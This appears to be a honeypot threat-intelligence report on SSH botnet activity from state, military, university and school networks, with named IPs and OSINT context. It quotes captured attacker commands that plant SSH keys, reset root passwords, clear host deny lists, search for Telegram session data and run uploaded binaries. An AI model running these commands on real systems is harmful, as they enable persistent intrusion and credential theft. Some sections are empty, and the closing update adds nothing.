Executive Summary

The institutions we trust to protect society are among the most dangerous actors on the internet — not because they are malicious, but because their perceived untouchability creates a security vacuum that criminals exploit with impunity.

§1 — The Military Dimension

1.1 Pakistan NTC (AS23888) — Military Telecom FULLY COMPROMISED

cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAABJQAAAQEA..."
echo "root:CqHlyKdqZz65"|chpasswd|bash
rm -rf /tmp/secure.sh; pkill -9 secure.sh; echo > /etc/hosts.deny
cat /proc/cpuinfo | grep name | wc -l
free -m | grep Mem | awk '{print $2,$3,$4,$5,$6,$7}'

OSINT Context: NTC is not a public commercial carrier — it is the government's internal network backbone serving federal government, military, and ISI intelligence infrastructure. The Outlaw SSH key (ArDp4cun2lhr4KUhBGE7Vv...) now present on this military network is shared by 78 IPs across 28 countries. Criminal botnet operators now have persistent, password-less SSH access to Pakistani military telecom infrastructure.

Sources: NetBlocks (Pakistan shutdowns, May 2023), Freedom House "Not Free" 26/100

1.2 Viettel Group — Vietnam Ministry of National Defence (AS7552 + AS24086)

OSINT — APT32/OceanLotus (MITRE G0050): FireEye (May 2017) assessed APT32 conducts cyber espionage aligned with Vietnamese state interests since 2014. Targets: foreign corporations, governments, dissidents, journalists. ESET confirmed continued operations in 2026 ("FrostyNeighbor"). Viettel's military ownership means the same entity that operates 80M civilian broadband subscribers also controls Vietnam's offensive cyber capability.

Viettel also operates Mytel in Myanmar — a JV with the military junta's Myanmar Economic Corporation — raising concerns about surveillance infrastructure export.

Sources: FireEye 2017, MITRE ATT&CK G0050, ESET 2026

1.3 Myanmar MPT — Military Junta Controlled

OSINT: Internet cut during October 2022 airstrike that killed 80+ at a Kachin concert — preventing victims from seeking help (Access Now). Nightly 1am-9am shutdowns imposed for months post-coup. 112/2,130 websites confirmed blocked (OONI 2022). Telenor forced to sell to military-linked entity.

Sources: OONI March 2021, Access Now 2022, Freedom House 2022 Myanmar

§2 — Government Infrastructure as Attack Platforms

2.1 Brazil — State Government Data Center (Mato Grosso)

2.2 Sri Lanka — Lanka Government Cloud (AS132124)

IP: 43.224.126.107 · AbuseIPDB: 100 · Context: Moved under Ministry of Defence in May 2022 during civilian protests (Freedom House 2022). The government cloud now has direct military oversight.

2.3 Ethiopia — Ethio Telecom (AS24757) — State Monopoly

OSINT: 2-year complete Tigray communications blackout (Nov 2020 – late 2022) enabling documented atrocities (UN). Citizen Lab (2014) documented Hacking Team RCS deployment against Ethiopian journalists at ESAT. AS24757 is the implementing network for ALL Ethiopian government content controls.

Sources: Citizen Lab Feb 2014, OONI Feb 2023, Freedom House "Not Free" 26/100

2.4 Morocco — Office National des Postes et Télécommunications (AS6713)

8 IPs · Outlaw SSH key planted on 81.192.46.36, 81.192.46.45 · Owned 53% by UAE's Etisalat (creating foreign intelligence penetration of Moroccan telecom). Confirmed NSO Pegasus client state; Hacking Team deployed against independent media outlet Mamfakinch (Citizen Lab 2012).

Sources: Pegasus Project 2021 (Amnesty), Citizen Lab 2016, Freedom House 2023 Morocco

§3 — Education Under Siege

3.1 University of Ghana, Legon (Ensign College)

3.2 Hanoi University of Science & Technology

IP: 202.191.58.34 · Threat: 70 · 598 AbuseIPDB reports · Go SSH scanner campaign · 5 attacks against our honeypot

3.3 Koforidua Technical University, Ghana

IP: 102.223.92.101 · Exposed MikroTik ports (8291, 8728) · libssh_0.9.6 botnet

3.4 German Research Network (DFN)

IP: 139.19.117.129 · Threat: 80 · 12 brute-force sessions · DFN connects ALL German universities

3.5 Indian University — Panjab University (pucc.edu.in)

IP: 59.92.50.233 (BSNL state telecom) · 1,201 AbuseIPDB reports from 325 users · Cockpit admin panel exposed (port 9090)

BSNL OSINT: In May 2024, threat actor "perell" listed 278 GB of BSNL subscriber data (IMSI, SIM, HLR authentication keys) — sufficient for SIM cloning of all Indian BSNL subscribers. Catastrophic state-run telecom security failure.

3.6 Tanzania Academic Network

IP: 41.93.28.9 · Threat: 75 · Confirmed Outlaw botnet node (SSH key persistence)

§4 — CHILDREN AT RISK: Schools & Preschools Weaponized

4.1 SchoolBridge.in — 60+ Children's Schools on Compromised Server

Data at risk: Children's names, ages, addresses · Parent contact details · Academic records · Photos of children · Payment/billing information · Staff credentials

The horror: This server is simultaneously attacking other systems AND hosting databases containing children's personal information with no encryption, exposed Redis session stores, and multiple unpatched critical vulnerabilities.

4.2 Hungary — Békés Special School (Children with Disabilities)

Reference: TI-2026-002 · Entity: KIFU/NIIF network — Békés Special School · Data at risk: Children's special needs records (most sensitive GDPR category) · CERT notified: NAIH + HunCERT (acknowledged)

§5 — Korea Telecom Triple-Threat Campaign

/ip cloud print                    # MikroTik router identification
ls -la ~/.local/share/TelegramDesktop/tdata  # STEAL TELEGRAM SESSIONS
ls -la /dev/ttyGSM* /var/spool/sms/* /etc/smsd.conf*  # GSM/SMS MODEM FRAUD
ps -ef | grep '[Mm]iner'          # Check for cryptominers

OSINT — KT Malware Scandal (2024): South Korean police raided KT Corporation on allegations it deliberately deployed malware against ~600,000 of its own customers using ARP spoofing to disrupt torrent traffic. An ISP that malware'd its own paying customers — unprecedented. Criminal charges pending.

§6 — The Outlaw Botnet: Global Institutional Compromise

Scale: 1,313 IPs · 84 countries · 44,341 attempts · SSH fingerprint SSH-2.0-libssh_0.11.1 (HASSH: 03a80b21)

Outlaw SSH Key: ssh-rsa ...ArDp4cun2lhr4KUhBGE7Vv... — any system with this key in ~/.ssh/authorized_keys is compromised.

§7 — Rostelecom: Russian State Malware Deployment

scp -t /tmp/fvMRaKYr              # Binary upload via SCP
cd /tmp && chmod +x fvMRaKYr && bash -c ./fvMRaKYr    # Execute malware
./fvMRaKYr                         # Re-execute

Malware hash: f88e93f13ce58ade590513d5...

Sources: MANRS 2020, ZDNet April 2020, BGPMon 2017, OONI/Roskomsvoboda 2023

§8 — State Telecom OSINT Cross-Reference

Total from state-owned networks: 421 IPs · 1,881 hits · 285 commands · 28 countries

§9 — UAE & Algeria: SSHD Rootkit Distribution

Etisalat OSINT: 60% UAE government-owned. DarkMatter/Project Raven employed ex-NSA/CIA to hack dissidents (Reuters 2019). Stealth Falcon APT: 67 C2 servers, 31 Twitter accounts, 24/27 targets linked to UAE (Citizen Lab 2016). Three US operatives criminally convicted for providing UAE hacking tools (US DOJ September 2021, fined $1.68M).

§10 — The Accountability Vacuum

PRIVATE TELECOMS          STATE TELECOMS           MILITARY TELECOMS
─────────────────        ─────────────────        ─────────────────
Respond to abuse         Ignore abuse reports      No abuse mechanism
reports in 24-72h        indefinitely              exists

Remediate compromised    Allow compromised         Host active botnets
subscribers              systems to persist        for months/years

Comply with law          Operate above             Create accountability
enforcement              civilian oversight        vacuum by design

ACCOUNTABILITY: HIGH     ACCOUNTABILITY: LOW       ACCOUNTABILITY: ZERO

Why institutional attacks persist:

• Pakistan NTC, Viettel, Myanmar MPT have no functional abuse desks
• State telecoms operate under assumed immunity from international scrutiny
• Military ownership creates plausible deniability in both directions
• Children's data exposure gets no special category in abuse reporting
• Academic networks prioritize openness over security

§11 — Conclusions

"The measure of a civilization is how it treats its most vulnerable members. By that measure, these institutions have failed catastrophically — not through malice, but through the arrogance of assumed invulnerability."

This is not a cybersecurity problem. This is a governance problem.

Glass houses shouldn't throw stones. But they do — and nobody stops them.

Sources & Citations (27)

1. FireEye, "APT32 and the Threat to Global Corporations", May 2017
2. MITRE ATT&CK Group G0050 (APT32/OceanLotus)
3. ESET, "FrostyNeighbor" APT32 report, May 2026
4. MANRS, "Not just another BGP hijack" (Rostelecom), April 2020
5. ZDNet, "Russian telco hijacks internet traffic for Google, AWS, Cloudflare", April 2020
6. BGPMon, "The Curious Case of AS12389", 2017
7. Citizen Lab, "The Million Dollar Dissident" (UAE/Pegasus), August 2016
8. Citizen Lab, "Stealth Falcon" (UAE), May 2016
9. US DOJ, Three former intelligence employees fined (UAE), September 2021
10. Reuters/The Intercept, "Project Raven" (DarkMatter/UAE), January 2019
11. Citizen Lab, "Hacking Team Targeting Ethiopian Journalists", February 2014
12. OONI, "Ethiopia blocks social media", February 2023
13. OONI, "Myanmar: Internet blocks and outages", March 2021
14. Freedom House, "Freedom on the Net 2022" — Myanmar, Sri Lanka, Pakistan, UAE
15. OONI, "Kazakhstan TLS MITM", September 2024
16. Amnesty International, "The Pegasus Project", July 2021
17. OONI/Access Now, "Senegal social media blocks", August 2023
18. Freedom House 2023 Morocco — $238M monopoly fine, Pegasus
19. OONI, "Tanzania blocked Twitter" (defense-in-depth), August 2025
20. OONI, "Tanzania LGBTIQ censorship", April 2024
21. Freedom House 2022, Sri Lanka — Lanka Gov Cloud under MoD
22. Citizen Lab, "Planet Netsweeper" (BSNL/India), April 2018
23. NetBlocks, "Internet disrupted in Pakistan", May 2023
24. OONI/Roskomsvoboda, "Russia: A year after the conflict", February 2023
25. Korean press/police, KT Corporation malware investigation, 2024
26. Dark web monitoring, "perell" BSNL 278GB breach listing, May 2024
27. Access Now, Myanmar internet shutdowns during airstrikes, 2022

Cross-References

• TI-2026-002 — MikroTik Recon & Telegram Stealer (Hungary children's school)
• TI-2026-013 — Outlaw/mdrfckr Botnet (8 institutional victims)
• TI-2026-016 — "Phantom Pipes" Vietnamese AsyncSSH Proxy Botnet (Viettel)

⚠️ Correction & Update — 2026-07-04

Reason for update: This foundational report was written before the platform gained an authoritative entity-resolution layer (source-attributed golden records with provenance and cross-source conflict tracking, disambiguated by claude-opus-4.8) and before the shared_authorized_key operator-identity signal existed. Nothing below is removed — the original 421-IP analysis and all cited sources are preserved. This note appends what fresh, re-verified data confirms, corrects, and adds.

Correction logged 2026-07-04 · evidence: entity-resolution golden records + live honeypot behavioral entity_links · original analysis and 27 cited sources unchanged above.